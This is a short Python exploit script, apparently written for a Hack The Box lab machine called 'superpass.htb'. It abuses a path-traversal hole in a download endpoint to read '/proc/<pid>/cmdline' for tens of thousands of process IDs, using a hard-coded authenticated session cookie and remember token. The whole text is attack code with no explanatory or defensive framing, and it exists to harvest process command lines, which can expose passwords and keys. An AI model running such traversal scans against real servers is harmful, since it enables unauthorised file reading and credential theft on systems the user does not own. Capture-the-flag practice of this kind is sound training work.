import requests

for i in range(99999):
    r = requests.get(f"http://superpass.htb/download?fn=../proc/{i}/cmdline", headers={'Cookie':'remember_token=9|8f50cc62e035672203937ef350c45d6a6780afafd9114b725dfb34ffa10cd42e92e484635b44b3f13d76ce1f6af818f2501684844daf93217e66ec4af933165f; session=.eJwtzjkSwjAMAMC_qKawdVnOZzKSLQ-0CakY_k4K-i32A_s68nzC9j6ufMD-mrBBd1MeGYszaqvNdXlHxKhhHumFCNlZzDH6kJXaQ5KqCZbFGIrNnFWcRM07uecKbXrjEJ6loKHgXIGDKKbXktKJaSRFJRO4I9eZx38D3x_fnS9V.ZATj_Q.KVBnfkocj-Ie2uO_zF_EjpCb53o'})
    if r.text and "FileNotFoundError" not in r.text: print(i, r.text)